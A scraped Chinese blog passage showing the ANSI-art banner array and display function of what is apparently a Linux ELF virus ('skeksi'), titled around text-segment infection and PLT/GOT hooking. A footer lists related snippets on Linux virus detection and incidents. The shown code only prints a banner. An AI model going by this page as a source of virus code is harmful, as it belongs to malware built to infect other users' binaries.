"\x30\x6d\x40\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35"
"\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d"
"\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37\x6d\x58\x20\x1b\x5b\x30\x3b"
"\x35\x3b\x33\x37\x3b\x34\x37\x6d\x3b\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x74\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34"
"\x37\x6d\x74\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x3b\x3b\x1b\x5b\x30\x3b\x31\x3b\x33\x37\x3b\x34\x37\x6d\x74\x1b\x5b"
"\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37\x6d\x38\x53\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x53\x1b\x5b\x30\x3b\x33\x32\x3b"
"\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x30\x3b\x34\x31\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b"
"\x33\x32\x3b\x34\x30\x6d\x53\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b"
"\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33"
"\x30\x3b\x34\x30\x6d\x53\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x53\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37\x6d\x40"
"\x1b\x5b\x30\x3b\x31\x3b\x33\x37\x3b\x34\x37\x6d\x53\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37\x6d\x38\x1b\x5b\x30\x3b\x31\x3b"
"\x33\x30\x3b\x34\x31\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d"
"\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b"
"\x34\x30\x6d\x58\x1b\x5b\x30\x6d\x0d\x0a\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30"
"\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x32\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x31\x3b"
"\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x32\x3b\x34\x30\x6d\x38\x1b"
"\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x32\x3b\x34\x30"
"\x6d\x40\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x31\x6d\x38\x1b\x5b\x30\x3b\x33\x32\x3b\x34\x30\x6d\x25\x1b\x5b\x30\x3b\x35\x3b"
"\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x38\x20\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30"
"\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x38\x3a\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x35\x3b\x34\x30\x6d\x25\x1b\x5b"
"\x30\x3b\x35\x3b\x33\x37\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x20\x1b\x5b\x30\x3b\x31\x3b\x33\x30"
"\x3b\x34\x37\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x74\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37\x6d\x38\x1b"
"\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x3a\x3b\x20\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37\x6d\x38\x38\x1b\x5b\x30\x3b"
"\x35\x3b\x33\x31\x3b\x34\x30\x6d\x58\x58\x1b\x5b\x30\x3b\x35\x3b\x33\x36\x3b\x34\x30\x6d\x20\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b"
"\x34\x30\x6d\x3b\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x20\x1b\x5b"
"\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x35\x3b\x33\x32"
"\x3b\x34\x30\x6d\x53\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b"
"\x5b\x30\x3b\x35\x3b\x33\x35\x3b\x34\x30\x6d\x20\x1b\x5b\x30\x3b\x31\x3b\x33\x37\x3b\x34\x37\x6d\x74\x1b\x5b\x30\x3b\x35\x3b\x33"
"\x33\x3b\x34\x30\x6d\x2e\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b"
"\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x53\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x38\x38\x1b\x5b\x30\x6d\x0d\x0a"
"\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x40\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33"
"\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b"
"\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x38\x1b\x5b\x30\x3b\x33\x30\x3b\x34\x31\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b"
"\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b"
"\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x74\x1b\x5b\x30\x3b\x31\x3b\x33\x37\x3b\x34\x37\x6d"
"\x40\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x31"
"\x3b\x33\x37\x3b\x34\x37\x6d\x53\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37\x6d\x25\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30"
"\x6d\x74\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b\x34\x37\x6d\x25\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b"
"\x31\x3b\x33\x30\x3b\x34\x37\x6d\x3a\x1b\x5b\x30\x3b\x31\x3b\x33\x37\x3b\x34\x37\x6d\x20\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b\x34"
"\x30\x6d\x40\x1b\x5b\x30\x3b\x31\x3b\x33\x37\x3b\x34\x37\x6d\x25\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37\x6d\x53\x53\x1b\x5b"
"\x30\x3b\x31\x3b\x33\x37\x3b\x34\x37\x6d\x74\x2e\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x25\x1b\x5b\x30\x3b\x35\x3b\x33"
"\x30\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b\x34\x37\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x20"
"\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b\x34\x37\x6d\x3a\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x20\x1b\x5b\x30\x3b\x35\x3b"
"\x33\x30\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d"
"\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x25\x1b\x5b\x30\x3b\x35"
"\x3b\x33\x35\x3b\x34\x30\x6d\x20\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30"
"\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31"
"\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x32\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x31\x6d\x38\x1b\x5b\x30"
"\x3b\x33\x32\x3b\x34\x30\x6d\x53\x1b\x5b\x30\x6d\x0d\x0a\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33"
"\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b"
"\x30\x3b\x35\x3b\x33\x32\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34"
"\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x32\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33"
"\x31\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b"
"\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x40\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33"
"\x31\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37\x6d\x74"
"\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x20\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37\x6d\x2e\x1b\x5b\x30\x3b\x35"
"\x3b\x33\x33\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x53\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37"
"\x6d\x38\x38\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37\x6d\x38\x1b\x5b"
"\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x3a\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x35\x3b\x33\x31"
"\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37\x6d\x38\x1b"
"\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37\x6d\x58\x1b\x5b\x30\x3b\x35\x3b\x33"
"\x31\x3b\x34\x30\x6d\x53\x1b\x5b\x30\x3b\x33\x32\x3b\x34\x30\x6d\x53\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b"
"\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33"
"\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x30\x3b\x34\x31\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b"
"\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b"
"\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x6d"
"\x0d\x0a\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b"
"\x35\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x53\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34"
"\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30"
"\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x53\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x35\x3b\x33\x32\x3b\x34\x30"
"\x6d\x53\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x53\x1b\x5b\x30\x3b"
"\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d"
"\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x38\x1b\x5b\x30\x3b\x33\x31"
"\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b"
"\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x53\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b"
"\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x30\x3b\x34\x31\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b"
"\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b"
"\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x53\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30"
"\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b"
"\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b"
"\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b"
"\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b"
"\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34"
"\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x32\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x33\x31\x3b"
"\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b"
"\x30\x6d\x0d\x0a\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x40\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b"
"\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30"
"\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x53\x38\x38\x1b\x5b\x30\x3b\x33\x30\x3b\x34\x31\x6d\x38\x1b\x5b\x30\x3b"
"\x35\x3b\x33\x30\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34"
"\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x32\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33"
"\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b"
"\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34"
"\x30\x6d\x38\x38\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x32\x3b\x34\x30\x6d\x38\x1b\x5b\x30"
"\x3b\x33\x31\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x38\x38\x38\x38\x38\x1b\x5b\x30\x3b\x33\x31"
"\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x32\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30"
"\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30"
"\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x32\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31"
"\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30"
"\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30"
"\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x38\x1b\x5b\x30\x3b\x33"
"\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x6d\x0d\x0a";

void display_skeksi(void)
{
    _write(1, (char *)skeksi_banner, sizeof(skeksi_banner));
}

原文地址:http://blog.51cto.com/haidragon/2135752

时间: 2024-11-14 10:58:56

linux 病毒virus(text 逆向、PLT\GOT HOOK)的相关文章

Linux 病毒检测

推荐迁出重要文件后重装系统 1 Linux 病毒检测 1.1 查找最近登陆 1.1.1 检查系统错误登陆日志,统计IP重试次数 lastb root | awk '{print $3}' | sort | uniq -c | sort -nr| more 1.1.2 查看最近登录的账户和登录时间 last # 查看最近成功登陆的用户: lastlog # 查看每个用户最后一次登陆的时间: 1.1.3 查找远程登录成功的IP: grep -i Accepted /var/log/secure 1.

完美解决 Linux 下 Sublime Text 中文输入

首先,我参考了好几篇文章,都是蛮不错的,先列出来: sublime-text-imfix:首先推荐这个方法,最简单,但是在我的系统上有些问题.可用这个的强烈推荐用这个 完美解决 Linux 下 Sublime Text 中文输入:讲的比较明白,也可用参考. Ubuntu下Sublime Text 3解决无法输入中文的方法: 讲解的最清楚了,建议看看. 测试系统:Ubuntu 14.04 (理论上所有 Linux 发行版都通用) 输入法:Fcitx 4.2.6.1 Sublime Text 版本:

linux 病毒 sfewfesfs

由于昨天在内网服务器A不小心rm -fr / ,导致服务器A完蛋,重装系统后,不知道啥原因,局域网瘫痪不能上网,最后发现内网服务器A的一个进程sfewfesfs cpu 300%.路由器被网络阻塞啦. 于是百度这个病毒:都说该病毒很变态.第一次中linux病毒,幸亏是内网,感觉比较爽.(总结网络内容,引以为戒) 1.病毒现象 服务器不停向外网发送数据包,占网络带宽,甚至导致路由器频繁重启. 1) 通过top 或者ps -ef 发现名为sfewfesfs的进程还有.sshddXXXXXXXXXXX

认识Linux病毒并做好操作系统防护工程

对使用Windows的人来说,病毒无处不在,各种各样的新型病毒层出不穷,近年来,一种类似Unix的操作系统也在发展壮大,开始走进我们的视野,并在各领域内得到应用,它就是Linux系统,对于受病毒困扰的用户来说,Linux会是一块没有病毒的乐土吗? 一.当心Linux病毒 在Linux出现之初,由于其最初的优秀设计,似乎具有先天病毒免疫能力,所以当时有许多人相信不会有针对Linux的病毒出现,但是Linux终于也不能例外.1996年秋,澳大利亚一个叫VLAD的组织用汇编语言编写了据称是Linux系

各个击破Linux病毒 保护Linux系统安全

对使用Windows的人来说,病毒无处不在,各种各样的新型病毒层出不穷,近年来,一种类似Unix的操作系统也在发展壮大,开始走进我们的视野,并在各领域内得到应用,它就是Linux系统,对于受病毒困扰的用户来说,Linux会是一块没有病毒的乐土吗? 一.当心Linux病毒 在Linux出现之初,由于其最初的优秀设计,似乎具有先天病毒免疫能力,所以当时有许多人相信不会有针对Linux的病毒出现,但是 Linux终于也不能例外.1996年秋,澳大利亚一个叫VLAD的组织用汇编语言编写了据称是Linux

linux病毒 (LPV)

---------感染技术text 段感染,同会时自我复制---------//=免责声明=此代码纯粹是为了学习,非法使用与作者无关!!!此代码纯粹是为了学习,非法使用与作者无关!!!此代码纯粹是为了学习,非法使用与作者无关!!!此代码纯粹是为了学习,非法使用与作者无关!!!此代码纯粹是为了学习,非法使用与作者无关!!!此代码纯粹是为了学习,非法使用与作者无关!!! //在ELF可执行文件内的UNIX病毒感染. //行为: //病毒将自身复制到其具有写入权限的第一个未受感染的可执行文件中, //

与linux 病毒的一次接触

环境说明: 1.linux 版本信息 Linux version 2.6.18-308.el5PAE ([email protected]) (gcc version 4.1.2 20080704 (Red Hat 4.1.2-50)) #1 SMP Fri Jan 27 17:40:09 EST 2012 2.两台服务器安装有双机软件 ,linux版本相同 现象: 用户反映双机软件有问题了,远程连过去奇慢无比,后来他们机房的人员发现这两台服务器异常,拨掉其中一台的网线后,网络恢复正常. 具体检

Linux 下 Sublime Text 添加 InputHelper 插件输入中文

Linux 下的 Sublime Text 不支持中文输入,我也是醉了. 网上找了一些方法,都没有成功,最后就用 InputHelper 折中一下了,虽然麻烦,但好歹能写中文了. InputHelper 因为是以弹出个窗口方式输入,所以理论上支持系统所使用的所有中文输入法. 安装方法: $ cd ~/.config/sublime-text-3/Packages $ git clone https://github.com/xgenvn/InputHelper.git 或者 去下载 InputH

sublimeText jsformat 插件被当做病毒 virus

最近在个只可往他里面发邮件,不能往外上任何互联网的地方工作,用 sublimetext 要装个sublime 插件 jsformat 十分麻烦.用gmail邮箱发总是报病毒. 最后挨个尝试,发现是 jsbeautify 文件夹里的 两个 test 文件夹含有被邮件系统识别为病毒的东西.且在的这家公司我估计和 gmail 的邮箱识别机制相同. 前两天就试了用 qq 邮箱发送,但是qq邮箱并不会拦截和识别为病毒邮件,看来 qq 邮箱还有待提高. Google 了一下未果, Gmail thinks